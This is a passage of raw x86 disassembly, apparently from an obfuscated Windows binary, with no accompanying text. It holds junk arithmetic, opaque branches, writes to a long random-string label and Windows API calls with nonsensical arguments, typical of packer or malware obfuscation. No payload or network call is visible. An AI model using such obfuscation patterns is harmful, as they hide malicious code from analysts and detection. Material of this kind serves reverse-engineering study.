mov eax, dword [0x51a8bc]
add eax, 1
mov dword [0x51a8bc], eax
mov ecx, dword [ebp - 0x3c]
sub ecx, 0x5297
push ecx
mov edx, dword [ebp - 0x54]
sub edx, 0x8bc4
push edx
mov eax, dword [ebp - 0x34]
sub eax, 0x52f8
push eax
call fcn.00410ac0
add esp, 0xc
mov dword [ebp - 0xc8], 0
jmp 0x420666
mov ecx, dword [ebp - 0xc8]
add ecx, 1
mov dword [ebp - 0xc8], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x921e
cmp dword [ebp - 0xc8], edx
jge 0x420686
mov eax, dword [0x51a86c]
sub eax, 1
mov dword [0x51a86c], eax
jmp 0x420657
mov ecx, dword [ebp + 0x24]
and ecx, 0x4978
xor ecx, 0x516a4b56
mov edx, dword [ebp + 0x10]
and edx, 0x4495
xor edx, 0x46b4
mov dword [edx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], ecx
mov eax, dword [0x51a8a8]
sub eax, dword [ebp - 0x34]
je 0x420725
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x3c]
jne 0x420725
mov edx, dword [ebp - 0x40]
cmp edx, dword [0x51a8bc]
jne 0x420725
mov eax, dword [0x51a8b8]
cmp eax, dword [ebp - 0x60]
jne 0x420725
mov ecx, dword [0x51a8c0]
cmp ecx, dword [0x51a8c4]
jne 0x420725
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x44]
jne 0x420725
push 0x699e
push 0xc124
push 0xf97b
push 0x1383b
push 0x5829
push 0xe44c
push 0x16d43
push 0x36ce
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0x20
mov eax, dword [0x51a860]
add eax, 1
mov dword [0x51a860], eax
mov ecx, dword [ebp + 0x1c]
xor ecx, 0x7533
xor ecx, 0x54511f24
mov edx, dword [ebp + 0x10]
and edx, 0xcbfd
xor edx, 0x40ec
mov dword [edx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], ecx
mov eax, dword [0x51a860]
cmp eax, dword [ebp - 0x20]
jge 0x42075f
mov dword [ebp - 0x684], 1
jmp 0x420769
mov dword [ebp - 0x684], 0
mov ecx, dword [0x51a87c]
sub ecx, 1
mov dword [0x51a87c], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [0x51a87c]
jge 0x42078f
mov dword [ebp - 0x688], 1
jmp 0x420799
mov dword [ebp - 0x688], 0
mov eax, dword [0x51a880]
sub eax, dword [0x51a870]
cmp eax, dword [ebp - 0x2c]
jge 0x4207b5
mov dword [ebp - 0x68c], 1
jmp 0x4207bf
mov dword [ebp - 0x68c], 0
mov ecx, dword [ebp - 0x684]
and ecx, dword [ebp - 0x688]
or ecx, dword [ebp - 0x68c]
je 0x4209fe
mov edx, dword [ebp - 0x58]
cmp edx, dword [0x51a8c0]
jge 0x4207ee
mov dword [ebp - 0x694], 1
jmp 0x4207f8
mov dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0xc]
jge 0x420815
mov dword [ebp - 0x690], 1
jmp 0x42081f
mov dword [ebp - 0x690], 0
mov edx, dword [ebp - 0x44]
cmp edx, dword [0x51a8c4]
jge 0x420836
mov dword [ebp - 0x698], 1
jmp 0x420840
mov dword [ebp - 0x698], 0
mov eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 0x690]
or eax, dword [ebp - 0x694]
or eax, dword [0x51a86c]
or eax, dword [ebp - 0x698]
je 0x4209fe
mov ecx, dword [0x51a8a8]
cmp ecx, dword [ebp - 0xc]
jne 0x4209fe
mov edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 0x38]
jne 0x4209fe
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
jne 0x4209fe
mov ecx, dword [0x51a884]
add ecx, 1
mov dword [0x51a884], ecx
mov edx, dword [ebp - 0x10]
sub edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [0x51a884]
and eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x48]
jge 0x4208b9
mov dword [ebp - 0x69c], 1
jmp 0x4208c3
mov dword [ebp - 0x69c], 0
mov ecx, dword [ebp - 0x4c]
or ecx, dword [ebp - 0x54]
mov dword [ebp - 0x13e8], ecx
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x13ec], edx
mov eax, dword [ebp - 0x54]
sub eax, 1
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x13e8]
cmp ecx, dword [ebp - 0x13ec]
jge 0x4208fb
mov dword [ebp - 0x6a0], 1
jmp 0x420905
mov dword [ebp - 0x6a0], 0
mov edx, dword [ebp - 0x69c]
or edx, dword [ebp - 0x6a0]
je 0x4209fe
mov eax, dword [0x51a85c]
sub eax, dword [0x51a870]
mov dword [ebp - 0x13f0], eax
mov ecx, dword [0x51a8bc]
mov dword [ebp - 0x13f4], ecx
mov edx, dword [0x51a870]
sub edx, 1
mov dword [0x51a870], edx
mov eax, dword [ebp - 0x13f0]
cmp eax, dword [ebp - 0x13f4]
jge 0x42095d
mov dword [ebp - 0x6a4], 1
jmp 0x420967
mov dword [ebp - 0x6a4], 0
mov ecx, dword [0x51a86c]
sub ecx, 1
mov dword [0x51a86c], ecx
mov edx, dword [ebp - 0x6a4]
and edx, dword [0x51a860]
xor edx, dword [0x51a86c]
je 0x4209cd
mov eax, dword [0x51a8a8]
cmp eax, dword [0x51a884]
jne 0x4209cd
mov ecx, dword [0x51a8cc]
cmp ecx, dword [0x51a874]
jne 0x4209cd
push 0x16304
push 0x1666d
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
add esp, 8
mov edx, dword [ebp - 0x48]
sub edx, dword [ebp - 0x34]
je 0x4209cd
mov eax, dword [0x51a8cc]
add eax, 1
mov dword [0x51a8cc], eax
push 0xbab2
push 0xe627
push 0x6f47
push 0x11420
push 0x5957
push 0x6782
push 0x111db
push 0x174b4
call dword [sym.imp.KERNEL32.dll_AllocateUserPhysicalPages]
add esp, 0x20
mov ecx, 0x7dd7
sub ecx, dword [ebp + 0xc]
xor ecx, 0x99bd9bf7
mov edx, dword [ebp + 0x18]
or edx, 0x4033
xor edx, 0xd9a3
mov dword [edx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], ecx
mov eax, dword [ebp - 0x38]
add eax, 0x2463
push eax
mov ecx, dword [ebp - 0x48]
add ecx, 0x630d
push ecx
mov edx, dword [0x51a85c]
add edx, 0x2478
push edx
mov eax, dword [0x51a8c0]
add eax, 0x8547
push eax
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x4108
push ecx
mov edx, dword [ebp - 0x44]
sub edx, 0x10215
push edx
mov eax, dword [ebp - 0x18]
sub eax, 0xd991
push eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0x178e
push ecx
call fcn.00416f20
add esp, 0x20
mov edx, dword [ebp + 0x1c]
and edx, 0x4d7e
xor edx, 0x6f4d7a34
mov eax, dword [ebp + 0xc]
add eax, 0x20a4
xor eax, 0xaae4
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov ecx, dword [0x51a8c0]
cmp ecx, dword [0x51a880]
jge 0x420ab7
mov dword [ebp - 0x6a8], 1
jmp 0x420ac1
mov dword [ebp - 0x6a8], 0
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 8]
jge 0x420ad5
mov dword [ebp - 0x6ac], 1
jmp 0x420adf
mov dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x6a8]
and eax, dword [ebp - 0x6ac]
je 0x420b32
mov ecx, dword [0x51a880]
add ecx, dword [ebp - 0x38]
cmp ecx, dword [0x51a878]
jge 0x420b0a
mov dword [ebp - 0x6b0], 1
jmp 0x420b14
mov dword [ebp - 0x6b0], 0
mov edx, dword [0x51a874]
or edx, dword [ebp - 0x18]
or edx, dword [ebp - 0x6b0]
je 0x420b32
mov eax, dword [0x51a8c0]
add eax, 1
mov dword [0x51a8c0], eax
mov ecx, dword [ebp + 8]
add ecx, 0xc674
xor ecx, 0x5268c140
mov edx, dword [ebp + 0x24]
or edx, 0x2b73
or edx, 0xc1b6
xor edx, 0xfc5b
mov dword [edx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], ecx
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x54]
jge 0x420b73
mov ecx, dword [0x51a87c]
add ecx, 1
mov dword [0x51a87c], ecx
mov edx, dword [ebp + 0x10]
or edx, 0x3b45
and edx, 0xa562
add edx, 0xde60
xor edx, 0x4d4675e1
mov eax, dword [ebp + 0x18]
add eax, 0xb6f3
xor eax, 0x195ed
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgB